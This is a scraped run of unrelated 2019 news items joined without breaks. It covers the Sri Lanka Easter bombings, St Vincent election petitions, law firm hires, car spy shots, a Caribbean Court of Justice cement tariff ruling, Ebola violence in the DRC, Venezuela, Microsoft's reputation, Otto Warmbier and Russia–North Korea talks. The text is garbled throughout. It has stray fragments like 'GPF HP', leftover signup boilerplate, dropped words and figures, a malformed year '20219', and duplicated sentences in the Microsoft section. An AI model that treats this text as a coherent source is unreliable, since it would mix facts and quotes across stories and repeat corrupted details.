sought information regarding them from public. Many of the arrested people have suspected links to the NTJ, the group blamed for the bombings. However, ISIS has claimed responsibility for the attacks and identified suicide bombers who carried out the devastating blasts. Authorities have deployed thousands of troops to help police carry out search operations. "During the last 24 hours, there have been no major incidents. We have deployed over 6,300 troops. This includes 1,000 from the Airforce and 600 from the Navy," military spokesman Brigadier Sumith Atapattu said. A minor explosion happened behind the magistrate's court in Pugoda, 40 kms north of Colombo. The police said that the explosion occurred in a garbage dump and that there were no injuries. A probe has been launched to ascertain the cause. Search operations of suspected properties, arrests and detention of people and to place road blocks for such operations have been facilitated by the newly-enforced emergency regulations. The regulations were adopted without a vote in Parliament on Wednesday. The curfew will be imposed at 10 pm. Malcolm Cardinal Ranjith, the head of the local catholic church, has asked all churches to stop masses until the situation improved, his office said. On Wednesday, the Sri Lankan government admitted that "major" intelligence lapses led to the horrific coordinated attacks. The Hotel Lenado redevelopment is one of more than 150 projects subject to the citys miscalculation of utility development review fees in 2017 and 2018. The city is asking the affected permit holders to pay more money following its reassessment of what the fees should be. Success! An email has been sent to with a link to confirm list signup. Kay Bacchus-Baptiste, member of the legal team representing the petitioners Lauron Baptiste and Benjamin Exeter in the election petitions trial, has disclosed that they are moving towards filing an appeal of the decision handed down by Justice Stanley John.{ {more}} Baptiste and Exeter were New Democratic Party candidates in the constituencies of North Windward and Central Leeward respectively, in the general election of 2015. Last week Thursday, Justice John dismissed both petitions which alleged irregularities in the conduct and counts in the constituencies which they contested. An appeal was always on Bacchus-Baptiste, however, while speaking on Thursday on a radio programme, appealed to the supporters of the NDP not to lose faith, admitting that going into the trial which started on February 11, the petitioners legal team always knew that the matter would be resolved in the Court of Appeal. "We knew that if we won, the other side was going to appealand obviously if we lost, then we would have also appealed, Bacchus-Baptiste said. She referenced a number of decisions which went against the government in the appellant court, including the case involving three teachers - Kenroy Johnson, Elvis Daniel and Addison Thomas. Even the ruling made by Justice Brian Cottle to throw out the petitions had been reinstated after that decision had been appealed, Baccchus said. "So that is customary; we understand that whatever happens, we end up in the court of appeal. The attorney, who is also an Opposition Senator, described last Wednesdays ruling as not a legal victory but a political one. Errors in judgment Bacchus-Baptiste said that during the delivery of the ruling by Justice John, there were some things that disturbed her, one being his comment about there being only two petitions filed. She argued that there were 15 elections conducted in 15 constituencies that collectively constitute a general election and that was the reason why the petitions were filed separately. The other comment of concern was the Justices statement about there being no evidence, and that he had a mere disquiet over the alleged bias. But the Organization of American States (OAS) team of observers of the 2015 general election, reported on the bias demonstrated by the returning officer of Central Leeward, Winston Gaymes, she argued. A meeting held at the chambers of Lead Council Stanley Stalky John Q.C. following the ruling, also arrived at what it (the meeting) saw as errors made by the judge. One such error she pointed to was the statement on the law as to what is required to declare an election void. They thought the judge was wrong and therefore, provided ground on which they thought they could win in the appeal. She accused the judge of merging the elections evident when he ruled that "the court holds that the breaches which took place during the general elections in Central Leeward and North Windward, did not affect the result of the elections from a qualitative and quantitate perspective. Then, Bacchus-Baptiste said, there was a final comment in the judges ruling that there was a lack of proper training. "I dont know how that can impact a bad ballot paper design gone wrong, Bacchus-Baptiste said. The judge ruled that the petitioners had failed to satisfy the Court on "direct creditable and compelling evidence on the many serious allegations that they have pleaded."We have already established what we have always said - that the 2015 general elections were stolen. That there were numerous irregularities, and some of them were just not accidents, the veteran lawyer said.Accordingly, the two petitions filed were bound to fail, she said, on the basis that it appeared to the court that having considered all the evidence, the elections were conducted in accordance with the law as to the elections.The experienced lawyer noted that nowhere in the ruling was there any indication that consideration was given to the evidence given by Cheryl Sutherland, a resident of North Windward, who said that there was no final count in that constituency. Ms. Finch is also a guest lecturer on securities law and disclosure regulation masters courses at the University of Sydney and University of NSW; and is chairman of the Corporations Committee at the Law Council of Australia. "Our M&A team in the Asia Pacific region will benefit immediately from the addition of an experienced professional like Shannon," said Lyle Ganske, who leads Jones Day's global M&A Practice. "She comes to us with a very strong reputation as a lawyer who truly understands a client's needs and effectively represents their interests. I look forward to her contributions and I welcome her to Jones Day." HSF hires disputes team in Madrid A team of litigation and arbitration lawyers has joined Herbert Smith Freehills in Madrid. Partner David Arias and his team join the global firm from the arbitration boutique firm he founded after 16 years as a partner at Perez-Llorca, where he established its dispute resolution practice. "Client demand for our global disputes expertise remains high and, as such, we will continue strengthening our offering right across the global network, commented Justin D'Agostino, Global Head of Disputes for Herbert Smith Freehills. The package adds $40m over four years to Aboriginal and Torres Strait Islander Legal Services (ATSILS); $21.75m over four years for justice reinvestment programs; and $60m for First Nations family violence services. Labor also committed to working with states and territories to adopt the Council of Australian Governments Closing the Gap justice target frameworks. The Law Councils Justice Project Final Report highlighted the dire state of access to justice for Aboriginal and Torres Strait Islander people, and included a raft of recommendations to help resolve significant barriers to justice, Moses said. These included a focus on justice reinvestment, increased legal assistance funding, adoption of Closing the Gap targets, early intervention and prevention strategies and the adoption of community-led culturally appropriate services for First Nations people. He said that the Law Council will hold Labor to account if they are elected to government to ensure commitments are implemented without delay. We also must remember that much more needs to be done to address increasing levels of disadvantage experienced by Aboriginal and Torres Strait Islander people, Moses said. To this end, we look forward to working with all sides of politics including the coalition to address this national tragedy and ensure justice for all Australians. Justice for First Nations Peoples should never be a partisan issue. This only creates division and our leaders need to ensure that this does not happen. The Law Council also welcomed the partys announcement of a proposed $660m package to address family violence. The proposal will boost resources for early intervention, frontline services and emergency accommodation, and legal services, the council said. GPF HP The yellow car in front is followed by what looks to be the BMW X4 M and another white Civic Type R, which we know from our own spyshots to be less hardcore. But the video footage captured by YouTuber cvdzijden also allows us to sample the engine sound.Most of the YouTube comments feel the same way as we do: it's a little more muted compared to the 2017 or 2018 models. But it could just be the Nurburgring sucking up all the cool sounds and leaving only some turbo noises.At the same time, this could just be the setup Honda has chosen or the impact oftechnology. Back in 2017, Hideki Matsumoto, chief engineer for the Civic line, said he wanted to diversify the range a bit by offering a powerful, hardcore model and a softer one with a GT setup.Neither of these prototypes is a classy grand tourer, but the yellow one may be more hardcore, with a possible carbon fiber roof and carbon fiber hood scoop. But the extra speed probably won't be achieved through big engine changes, meaning the American model will still produce 306-hp while the European one will be rated at 320Styling changes include new front and rear fascias, which seem to have winglets instead of mesh for those controversial fake air vents. Also, Honda may decide to change the look of the headlights, as it did with the facelifts of the previous two Civic hatchback models in Europe.The refreshed Type R should go on sale towards the end of 20219 and have a 2-year shelf life. A new Civic hatchback, made in the US of A, is slated for 2021. NHTSA The crown jewel of General Motors sold more than 205,000 vehicles in China last year, becoming the fourth best-selling automotive luxury brand in the Asian country. The grand total for 2018 in the United States is 154,702 vehicles, most of them XT5 crossovers.Given the automakers success, Cadillac plans to level up in China by expanding the dealership network. Almost 200 locations will be added by 2025 according to Automotive News. "Our growth in China has been driven, in a large part, by our dealer partners in the region," commented Steve Carlisle at the 2019 Auto Summit in New York.The president of Cadillac entered the scene in April 2018. Out of the blue, General Motors announced that Johan de Nysschen is leaving Cadillac effective immediately . Under the previous president, the brand launched the CT6 sedan and XT4 crossover. Automotive News reports that half of Caddy's customers in China are new-vehicle buyers, and the average age of the buyer is 32 years old. In other words, the demographics are extremely different from the United States where Cadillac is regarded as an old mans car.Also stateside, the Escalade gave Cadillac a bit of a reputation with the hip-hop scene and celebrities that cant be bothered about the Chevrolet Tahoe and Suburban. Even though its luxurious inside and imposing outside, the Escalade uses a platform derived from the previous-generation Silverado pickup truck.Turning out attention back to sales, sales volumes increased 17 percent in China while the U.S. dropped 1.1 percent. Once again, theres no denying that customer preferences differ from market to market, let alone countries as different as these two.The truth of the matter is, neglect and no forward vision is what ruined Cadillac in the eyes of the American customer. General Motors also cheaps out on parts and build quality , and Cadillac is no different if you go through the complaints database on thewebsite. SUV In fact, we already expect the replacement for the Huracan and the Aventador to mix electric power with internal combustion muscle, all in the effort to avoid going down the turbocharging route, which affects key assets of the brand's DNA, such as the soundtrack and the instant throttle response.So far, the only major steps the Italian automotive producer has made towards the plug was the introduction of two concept cars. The first is the Asterion , which was a hybrid grand tourer - this also reminded us of how much we miss the company's GTs, with these having been absent for decades, but this is another story for another time.As for the second, I'm refering to the Terzo Millennio concept car. Relying solely on electron juice, this study talked about using supercapacitors, but the technology isn't here yet.Meanwhile, Lamborghini is catering to a larger audience with the help of the Urus. Then again, since the LM 002 spiritual predecessor of the crossover was here well before other performance names came up with high-riders, the gates were open for the Urus.Well, until Lamborghini delivers more info on its electrification plans, I've brought along a rendering that mixes the Urus with multiple elements of the said Terzo Millennio concept, such as the latter lighting signature. And I have to admit the result is a thing to behold.Speaking of further Urus derivatives, I'm eagerly anticipating more details regarding the ST-X incarnation of the. You know, the one-make series racecar that will sprint on both asphalt and rugged terrain. AMG kW SUV HP AWD Powerful hybrid 4x4 are the new thing, mostly out of necessity. The European Union is imposing ever-stricter emissions regulations, and electrification is the only way to meet those targets. But Mercedes is prepared for this, as it has already developed a new inline-6 twin-turbo with EQ Boost, like the one in the new GLE 450, but more powerful and worthy of thebadge.The system made its debut in the CLS 53 and was added to the E-Class range soon after. This configuration has trademark design elements, such as the quad round tips with a kind of rifling effect inside and the single-bar AMG grille as opposed to the Panamericana design that will be on the V8-powered GLE 63.Interestingly, the GLE 53 is going to be the only model of its kind because it's not a plug-in. You have the new BMW X5 xDrive45e and the Porsche Cayenne E-Hybrid, but both of those can run on electricity alone, whereas the EQ Boost system only makes 22 hp (16) and 184 lb-ft (250 Nm), so it can't run thealone. Meanwhile, Audi seems to be focusing on TDI with electric supercharging to meet the same emissions targets.After sampling this Nurburgring spy video from Automotive Mike, we feel like the GLE 53 looks and sounds sufficiently appealing. The bodywork is much like that of the normal GLE, so it's a little tall, but the configuration still makes sense for a lot of customers.Total system output should be 435and 520 Nm, going to the familiar 9-speed auto and, enough to push around 2.3 tons of SUV (heavier than old GLE 43) to 100 km/h in 5 seconds. Mark Maloney, owner of Rock Hard Cement, the Barbadian company that won a court battle to maintain a low import tax on its imported cement. It was not a case of judging which product was better but in this case. Rock Hard Cement got the edge over Arawak Cement, a Barbados-based subsidiary of Trinidad Cement Ltd. (TCL). The Caribbean Court of Justice (CCJ) yesterday ruled on April 18, 2019 in favour of Rock Hard Cement over Arawak Cement Company, that the regional tax payable on cement imported by the Barbadian company from Portugal and Turkey should be five per cent and not 60 per cent. In 2001, CARICOMs Council for Trade and Economic Development (COTED) had granted Barbados an exemption, in respect of the regional Common External Tariff (CET) of zero to five per cent, so that the State could apply taxes of 60 per cent to categories of cement described as other hydraulic cement cement used to stop water and leaks in concrete and masonry structures. The regional tariff is intended to offer goods produced and distributed in the region an advantage over imported ones. In 2015, Barbados decided to return to the CET and apply a five per cent tax on the other hydraulic cement imported by Rock Hard Cement Limited. TCL and Arawak Cement Company had contended that Barbados contravened the Revised Treaty of Chaguaramas by unilaterally reducing and/or altering the CET on other hydraulic cement and had misclassified extra-regional cement imported by Rock Hard as other hydraulic cement. In its ruling, the CCJ said that where COTED allowed a member state to charge taxes higher than the regional tariff on the importation of good from outside the region, there was no need for the member state to obtain approval from COTED to revert to the CET. However, it said, in these circumstances, the member state should give reasonable notice of its intention of returning to the regional tariff, to ensure that regional businesses enjoy transparency, certainty, and predictability of tax structures. The CCJ found that the regional manufacturers of cement who had brought the action against Barbados TCL and Arawak Cement Company had notice for several years of Barbados intention to revert to the regional tariff. TCL and Arawak Cement Company Limited had filed an application last May for special leave to commence proceedings against Barbados and Rock Hard Cement over the import tax on cement. They subsequently filed an application asking the CCJ for interim relief and the Trinidad-based court ordered Barbados to "restore and enforce the 60 per cent import duty on hydraulic cements imported from outside CARICOM "until either judgement is rendered on the originating application in this matter, or the court varies or terminates the order. Rock Hard then joined the proceedings and provided testimony from international experts on the composition of cement and its classification, etc. After that testimony, TCL and the CARICOM Secretariat argued that the matter of classification falls within the remit of COTED and should be decided by that body. Last month, COTED concluded that Rock Hard Cement was correctly classified as other hydraulic cement which attracts the zero to five per cent duty under the CET. However, the CCJ had still been required to give a final ruling on the matter, which it did on Thursday 18th April, 2019. The World Health Organization still reeling over the loss of one of its doctors killed in a violent attack in the Democratic Republic of the Congo a week ago and other experts indicate that the Ebola outbreak will likely continue spreading until the region can be made secure enough to implement the necessary steps. Why it matters: The deadly contagious virus can only be halted by tracking down people who may have been in contact with infected patients and taking steps to quarantine and vaccinate them, experts say. But the violence wracking that region causing DRC doctors and nurses to threaten strike and WHO to stop some of its activities puts those efforts at risk. "This is a saddening and horrifying situation," says Julie Fischer, a program director in the Center for Global Health Science and Security at Georgetown University. She tells Axios that medical personnel have the know-how plus new tools like an apparently effective vaccine, but these have to be implemented via on-the-ground efforts in the communities and that's not possible when it becomes too unsafe. "This is a combination of a very contagious disease with very contagious violence," Fischer says. The backdrop: This region has faced violence on a regular basis due to armed groups in the area, but also faces impoverishment and neglect. These groups include the Allied Democratic Forces (with possible linkages to the Islamic State) and local Mai Mai militias, says Stephen Morrison, SVP at the Center for Strategic and International Studies. "These require different approaches," he adds. Fischer says there's a strong distrust of the government and of foreign organizations because that area, which contains millions of displaced people, doesn't receive regular services for their basic needs, like health care and clean water. "A good number of people believe Ebola is fabricated by outside sources to profit off the DRC," Fischer says. DRC Ministry of Health spokesperson Jessica Ilunga tells Axios that most of the general population is aware of Ebola, but "there is always a small part of the population who just does not want to believe in Ebola, no matter what they see or even experience." What's happening: The violence appears to have pivoted toward targeting health care workers, including the attack last Friday that killed WHO epidemiologist Richard Mouzoko Kiboung and injured 2 health care workers. DRC announced its security forces arrested some of the suspects for that attack. WHO issued a statement today noting that a recent "notable escalation of security incidents" forced them to halt their activities in some of the hot spots of the outbreak. These attacks "have affected the response. Some of the increase in case numbers has been due to response teams decreased access to affected areas because of insecurity, which means response measures could not be put in place to prevent new infections," WHO spokesperson Tarik Jasarevic tells Axios. Meanwhile, DRC doctors and nurses held a march on Wednesday to protest their unsafe conditions, AP reported, and are threatening to strike indefinitely if the situation isn't made better. "It is understandable that health workers are concerned for their safety ... WHO is only all too aware of security after losing a colleague to a violent attack last Friday. We stand with them in their call for protection and are working alongside local authorities to increase safety for all, from health workers to patients." "Fundamentally, as the health workers themselves have highlighted, the support and engagement of the community are key to supporting the response and health workers in particular." Tarik Jasarevic The Trump administration's special envoy for Venezuela, Elliott Abrams, insisted on Thursday that the fall of Venezuelan leader Nicolas Maduro is inevitable, and issued yet another call for those supporting the regime to change sides. The big picture: It has now been 3 months since the U.S. recognized National Assembly President Juan Guaido as Venezuela's interim president. At that time, the U.S. hoped Venezuela's military would abandon Maduro. President Trump also suggested the U.S. might be ready to back Guaido with force. Instead, we've seen the suffering of the Venezuelan people deepen, U.S. sanctions escalate and the political stalemate hold. Speaking to reporters following a speech at the Atlantic Council, Abrams denied that support among Guaido's backers was wavering, either inside Venezuela or internationally. More and more Venezuelans are aware of the fact that this regime has absolutely no answers to their problems. Everything is getting worse. We see it most recently with electric power and with water," Abrams said. "There will be no recovery of the economy, there will be no recovery of democracy with this regime. ... Its just not really conceivable that this regime which is destroying the economy and society of Venezuela will remain in power. Of the U.S. strategy to bring that about, Abrams said: "every week we do a little bit more," and insisted "a large list of options" remains at Trump's disposal. Shannon O'Neil of the Council on Foreign Relations argues that Trump's strategy in Venezuela "has come up short," and he now risks "alienating influential players and easy friends alike" with his increasingly hard-line approach in Latin America. O'Neil cites Trump's insistence on keeping the military option alive in Venezuela, disregard for European and Canadian objections over his new Cuba crackdown, and threats to cut aid to ally Colombia for failing to reduce drug trafficking. "Bellicose posturing undermines the laborious work needed to galvanize the international community and pressure the Maduro regime," she writes. What to watch: Martin Aguirre, editor-in-chief of Uruguay's El Pais newspaper, emails that the situation in Venezuela remains "top news" across South America, but "interest has faded a bit" as Guaido has failed to make a decisive move. "It's just that people have heard so much about how everything is about to explode, and then it still doesn't happen." "Right now, I guess everyone is waiting to see what the government is going to do once the new sanctions start taking effect and the government runs totally out of resources," Aguirre writes. "Are Russia and China going to come to the rescue again? What's going to be their response?" Worth noting: The Maduro-Guaido power struggle is playing out in Washington, in addition to Caracas. ISIS claimed responsibility on Tuesday for the Easter Sunday bombings in Sri Lanka that killed at least 321 people and injured more than 500, but did not immediately offer proof for its claim, the AP reports. The big picture: Sri Lankan officials said earlier that they believed the attacks were a retaliation against the Christchurch mosque shootings in New Zealand in March, which killed 50 and injured 42. Go deeper: Sri Lankan attacks underscore continued threat of jihadist groups Magic Leap, the Florida-based augmented reality company, raised $280 million in new funding from Japan's NTT DoCoMo. Why it matters: No other startup in the consumer electronics space has ever raised that kind of cash while still private (depending on how you categorize Juul). This new infusion puts Magic Leap's total take up to a whopping $2.5 billion, and it also reportedly will reopen its most recent funding round. The bottom line: "Last year, the company struck a partnership with AT&T, which now sells the Magic Leap One in a handful of U.S. cities. By teaming up with DoCoMo, Magic Leap hopes to serve a similar role for another major market. Beyond the ability to expose more potential customers to the Magic Leap One, a forthcoming gigabit high-speed internet service from DoCoMo could help advance augmented reality applications." Flashback: Virtual reality startup Magic Leap launches its first product The tech industry is feeling the pain of an unprecedented backlash over its business practices and broad impact on society, but original tech giant Microsoft has managed to stay mostly above the fray. Why it matters: Microsoft, which trudged through its own antitrust battle with the Justice Department in the '90s, has sidestepped the mistakes made by its younger, brasher Big Tech brethren. The resource-sucking trial set Microsoft behind competitors like Google on crucial innovations like search. Now, though, the lessons Microsoft learned the hard way are making its life easier. The Axios-Harris Poll 100 survey found that companies untouched by scandal including Microsoft prospered in the eyes of consumers, while those companies most heavily affected by privacy-related scandals faced the steepest erosion in trust. Expand chart Reproduced from The Harris Poll Reputation Quotient, 2019; Chart: Axios Visuals Between the lines: Microsoft has opted for a steady, methodical approach to thorny issues around consumer data, user-generated content, AI ethics and inequality produced by the industry's massive success. For example: Microsoft took a systematic course to developing AI principles for product development, including how and when to work on military projects. Meanwhile, Google's case-by-case approach has been mired in controversy. It has called on Congress to regulate facial recognition, saying the government needs to proactively manage the use of the technology. Microsoft execs supported federal privacy rules before other tech companies got on board. The company pledged $500 million for affordable housing in Seattle in an acknowledgement of the role tech companies have played in making their hometowns too expensive for many workers. The company also launched an initiative to connect 3 million rural Americans to broadband. Microsoft isn't doing these things altruistically there are clear business and competitive reasons for these strategies. But it has jumped on them earlier, allowing it to get ahead of problems and handle them better politically. Microsoft President and Chief Legal Officer Brad Smith is quick to acknowledge that Microsoft made a lot of mistakes in the '90s, and it continues to make them. is quick to acknowledge that Microsoft made a lot of mistakes in the '90s, and it continues to make them. Part of the process of managing society's changing views of the tech industry is being able to make tough decisions, he said earlier this year during a conversation at the company's Redmond, Wash., headquarters. of managing society's changing views of the tech industry is being able to make tough decisions, he said earlier this year during a conversation at the company's Redmond, Wash., headquarters. "Maybe we're able to make some of those decisions around here because we were the first graduate of the school of hard knocks," he said. "We graduated first not necessarily first in our class, but it was the first class." The software giant isn't without its own headaches. Most recently, CEO Satya Nadella added resources to the company's HR operation after complaints of sexual harassment went public. Like other tech companies, it's dealt with challenges around workforce diversity. And it has come under fire both for its decision to do business in China and for its willingness to work with the U.S. military. But it hasn't stumbled into major scandals. Plus, its platform wasn't specifically targeted by foreign actors interfering in recent elections. So its executives haven't been hauled up to testify before Congress. into major scandals. Plus, its platform wasn't specifically targeted by foreign actors interfering in recent elections. So its executives haven't been hauled up to testify before Congress. And unlike many Silicon Valley execs who avoid Washington, Smith makes frequent trips to meet with policymakers. who avoid Washington, Smith makes frequent trips to meet with policymakers. As reported by The Information, Facebook's Mark Zuckerberg approached Smith for advice on rebuilding trust. Nadella and Smith, who have both worked at Microsoft for more than 25 years and lived through the antitrust battle, have a unique relationship in that they each drive crucial strategic areas: Nadella is focused primarily on product and business growth while Smith spearheads policy, legal issues and public affairs. Our thought bubble: Per Axios' Ina Fried, Microsoft is often at the forefront of the technology and the discussion in an area, but slow to capitalize on a trend. It's rarely first with products, and even rarer with a first successful product. For example, Bill Gates laid out all the technologies that would lead to the iPad years before it was ready (or possible), and yet it was Apple that built the first successful tablet. The big picture: The company has experienced its own cultural shift since its antitrust battle 20 years ago. Previous CEOs Gates and Steve Ballmer took a more adversarial approach to competitors, such as targeting Google with ad campaigns or trading barbs with Apple. Nadella, who became CEO 5 years ago, said he doesn't see the point in bashing other business models. It doesn't hurt that Microsoft is one of the world's most valuable companies along with Apple, Amazon and Alphabet. "I'd better make sure that a lot of the world succeeds, because that's the only way for Microsoft to succeed." Microsoft CEO Satya Nadella President Trump denied in a Friday tweet that the U.S. paid any money toward a $2 million "medical" bill from North Korea for the return of hostage Otto Warmbier in 2017. No money was paid to North Korea for Otto Warmbier, not two Million Dollars, not anything else. This is not the Obama Administration that paid 1.8 Billion Dollars for four hostages, or gave five terroist hostages plus, who soon went back to battle, for traitor Sgt. Bergdahl! The big picture: The Washington Post reported that Trump ordered a U.S. envoy tasked with retrieving Warmbier to sign an agreement to pay the bill. Warmbier was detained in North Korea for 17 months and died shortly after being flown back to the U.S. in a comatose state. Go deeper: Otto Warmbier dies after detainment in North Korea North Korea issued the U.S. a $2 million hospital bill before releasing then-comatose American student Otto Warmbier, according to 2 anonymous sources familiar with the situation who spoke to the Washington Post's Anna Fifield. The bottom line: President Trump reportedly ordered a U.S. envoy tasked with retrieving Warmbier to sign an agreement to pay the medical bill, but it remains unclear if the administration actually paid it, or if it was a matter of discussion during the 2 summits between Trump and North Korean leader Kim Jong-un. The bill reportedly remained with the Treasury Department through 2017. The backdrop: Warmbier was detained in North Korea for 17 months and died in 2017 shortly after being flown back to the U.S. in a comatose state. North Korea attributed Warmbier's poor health and subsequent death to botulism, but doctors found no evidence to corroborate those claims. A federal judge ordered North Korea to pay Warmbier's family $501 million in a wrongful death lawsuit last year. The Warmbiers have said they hold Kim responsible for the death of their son, but earlier this year, Trump said he takes the North Korean leader "at his word" when asked about incident. The White House declined to comment on this story, per the Post. Go deeper: Otto Warmbier dies after detainment in North Korea Spanish politics have been upended in recent years by the breakdown of 2-party dominance, a fiery national debate over Catalan independence and the rise of a new far-right movement, Vox. Why it matters: All 3 factors will be central to Sunday's general election. Political paralysis is perhaps the most likely outcome. Prime Minister Pedro Sanchez's Socialists lead in the polls, but would likely need the support of separatist parties to form a government. One problem: A dispute with pro-independence parties forced him to call the election in the first place. The 3 right-of-center parties contesting the election have been portraying Sanchez as sympathetic to Calatan separatism at a time when leaders of the independence movement are on trial in Madrid for staging a 2017 referendum. The election could yield a right-wing coalition that includes Vox, Spain's most successful far-right party since the death of dictator Francisco Franco in 1975, but the polls make that look unlikely. What to watch: If no sustainable solution emerges, we could see yet another election before long. The big picture: "The pattern is becoming familiar in Europe, where fed-up voters have abandoned the traditional parties of right and left (ask France's Republicans, or Italy's Democrats) and opted for a plethora of new groups, some on either extreme of the spectrum, others harder to pin down," the Economist notes. Sri Lanka's defense secretary has resigned at the request of President Maithripala Sirisena amid concerns that the government did not act on intelligence-based warnings before the Easter Sunday suicide bombings, the AP reports. Between the lines: Indian intelligence officials warned the government of a pending attack as early as April 4, with one police official sending a memo to Sri Lankan security agencies on April 11 alerting them to the threat of suicide bombings at churches, the New York Times has reported. Officials are also warning of a possible new attack by the same terrorist group targeting Sufi shrines, according to a letter obtained by the Times. The U.S. Embassy in Sri Lanka issued a warning Thursday to avoid "places of worship" this weekend. Go deeper: Sri Lanka minister says bombings were in retaliation for New Zealand attacks Shanghai (Gasgoo)- FAW Toyota, an automobile joint venture between FAW Group and Toyota, is going to stop producing the Toyota Prado 3.5L vehicles for hardly meeting China's Stage 6 Emission Standard, according to the Chengdu Environmental Protection Bureau. (Photo source: FAW-Toyota's official website) A document released on the authority's official website revealed that Sichuan FAW Toyota Motor will remove the annual capacity of 45,000 units of Toyota Prado SUVs. The automaker started manufacturing the Prado 2.7L vehicles in 2015. Then, more than 75,000 vehicles were output within 31 months after the model hit the market. Affected by emission policies, power performance and parallel-import vehicles, the company finally finished the production of the 2.7L version at the end of October 2017. The existing vehicles sold on the market are all equipped with 3.5L engine. With the impending implementation of China's Stage 6 Emission Standard, the present engine emission is hard to reach the new level. Besides, according to the Measures for Calculation of Passenger Vehicles' Corporate Average Fuel Consumption, automakers should achieve the goal of reducing the average fuel consumption by passenger vehicle products in China to 5 liters/100km by 2020, or they will be fined. However, the current average fuel consumption for the Prado 3.5L is still 11 liter/100km, which will no longer be suitable for the post-2020 market. Daniel Cummings, opposition New Democratic Party (NDP) MP for West Kingstown, told an audience in New York last Saturday it was "very painful when you see the level of theft in the (last) elections in St. Vincent and the Grenadines, but I bring hope to you. He promised the audience at a town hall meeting hosted by the St. Vincent and the Grenadines Progressive Organization of New York (SPOONY), the New York arm of the NDP, at Friends of Crown Heights Educational Center in Brooklyn, New York, that "When the bell is rung the next time, they (government is) gone (voted out of office). Cummings, who is the shadow Minister of Health told those gathered that the NDP will construct a new state-of-the-art hospital "in the right place, since as he put it, "Milton Cato Memorial Hospital (MCMH) is in the wrong location. Cummings charged that the MCMH is mismanaged. "Its painful and obvious that no one is accountable and responsible for everyone, he said. "What the New Democratic Party is offering is an area of health that is comprehensive and real. Roland Patel Matthews, who was part of the four-member NDP delegation which addressed the meeting, told those present that "Too many wrong things are going on . Matthews said, while farmers have been the "bedrock in St. Vincent and the Grenadines, they "have not been doing well. The agricultural sectors contribution to the gross domestic product (GDP) has fallen from 19 percent to 6 percent, Matthews said. Pointing out that the Unity Labour Party has failed to conduct an agricultural census since it took office, Matthews, the MP for North Leeward, promised that "The NDP, first thing, will conduct an agricultural census to assess the state of agriculture in St. Vincent and the Grenadines. The Shadow Minister of Agriculture, Land and Fisheries said, "We realize that spite, vindictiveness, victimization will not move our country forward, he added. "We should be the ones to calm the arguments.MP for South Leeward, Nigel Nature Stephenson also addressed the meeting, during which he described St. Vincent and the Grenadines as being characterized by neglect and declared, "This is the time for change. President Trump's bid to vastly expand areas available for offshore drilling is on ice a development rooted in politics, oil markets, and the legal hurdle of unwinding a predecessor's policies. Driving the news: A judge's ruling in March upholding President Obama's ban on Arctic development has delayed the wider 20192024 U.S. offshore leasing plan, Interior Secretary David Bernhardt told the Wall Street Journal. But, but, but: It's political, man! Bloomberg reported yesterday that the plan is delayed until after the 2020 elections amid bipartisan concern among Atlantic Coast politicians. My thought bubbles 1. Bureaucracy is hard. Bernhardt told WSJ that completing the plan may wait until U.S. District Court Judge Sharon Gleason's decision goes through appeals. Her ruling thwarted Trump's executive order reversing an Obama-era move to permanently put vast Arctic regions off limits. She said Congress would need to do that. It's the latest sign of the roadblocks inherent in making sure-to-be-litigated regulatory decisions, especially without new legislation. 2. Politics is hard. Expanding Lower 48 offshore drilling outside of the central and western Gulf of Mexico has long been a politically volatile idea. "Administration officials are worried that the president and Republican leaders in the southeast U.S. would lose votes if they pushed forward with the plan to sell new drilling rights in the Atlantic, Arctic and Pacific oceans," Bloomberg's Jennifer Dlouhy reports. Regional politics vary. There's also widespread opposition on the West Coast, while Alaska politicians back offshore development. 3. Markets aren't helping Trump here. The onshore shale boom of the last decade and modest prices have sapped the urgency around widening offshore leasing, especially in the Arctic. Arctic seas are thought to hold massive hydrocarbon deposits, but projects in the harsh region would be complex and expensive. Companies have a wealth of other opportunities to pursue in the Lower 48. Sure, industry is keen to see offerings outside the western and central Gulf. But the whole thing just isn't the pressure cooker it was circa mid-2008, when oil and gasoline prices were vastly higher, the shale oil production surge hadn't started, and Congress let East and West Coast leasing bans lapse. Flashback: Last year Interior floated expansive draft plans for offshore leasing in 20192024 that envisioned a huge expansion beyond the Gulf of Mexico. It included areas off both coasts and Arctic waters off Alaska. Much of the eastern Gulf areas is under a congressional moratoria until 2022. Draft offshore plans get scaled back en route to completion, but it was nonetheless a clear sign that Trump wants to provide the industry with much wider access. Go deeper: Trump executive order on Arctic Ocean drilling unlawful, judge rules President Trump signed a formal request for the Senate to discontinue the United States' ratification process for the global Arms Trade Treaty on Friday. The big picture: Russia, North Korea and Syria are the only other countries that oppose this treaty, which "seeks to prevent illicit arms transfers that fuel destructive conflicts, making it harder to conduct weapon sales in violation of arms embargoes," per Washington Post reporter Missy Ryan. What he's saying: "I am officially announcing today that the United States will be revoking the effect of America's signature from this badly misguided treatment. We're taking our signature back. The United Nations will soon receive a formal notice that America is rejecting this treaty," Trump said on Friday at the NRA's annual meeting in Indianapolis. The backdrop: The U.S. had not previously ratified the treaty, which dates back to the George W. Bush administration. Russia's Vladimir Putin met for over 3 hours on Thursday with North Korea's Kim Jong-un, who traveled by armored train from Pyongyang to Vladivostok in Russia. Why it matters: The meeting comes as North Korea makes its frustrations with the Trump administration clear after the failed summit in Hanoi, and it puts Russia at the table in a process where its role has been peripheral. The BBC's Sarah Rainsford sets the scene from Vladivostok: "... the red carpet rolled out, then big smiles, firm handshakes and warm words. It was a show of support by Russia meant to tell Donald Trump that his tactics of pressuring and threatening Pyongyang are mistaken." "There was no joint statement or road map at the end of it all. But instead of collapse like in Hanoi this meeting ended in a champagne reception with the two leaders and their delegations serenaded by a Cossack choir as they tucked into beetroot soup and reindeer dumplings." Putin doesn't want to see North Korea recognized as a nuclear state, but also opposes any sanctions that risk the collapse of the regime, according to Carnegie Moscow's Alexander Gabuev: "The Kremlins red lines and overall analysis of the situation are very similar to those prevailing in Beijing, making Russia a natural partner for China on the Korean Peninsula," he writes. With Russia increasingly willing to butt heads with the U.S. and increasingly reliant on China, Moscow is "prepared to play bad cop in an unofficial division of labor on the Korean Peninsula," including at the UN. The bottom line: Gabuev says the U.S. can't write Moscow off because "if any solution is to be achieved and blessed by the UN Security Council, the international community will need Russias support, and so the diplomatic framework will have to accommodate the Kremlins interests." Go deeper: North Korea's message to Trump. By Trend Over the past 24 hours, Armenian armed forces have violated the ceasefire along the line of contact between Azerbaijani and Armenian troops 27 times, Trend reports with reference to the Azerbaijani Defense Ministry. The conflict between the two South Caucasus countries began in 1988 when Armenia made territorial claims against Azerbaijan. As a result of the ensuing war, in 1992 Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh 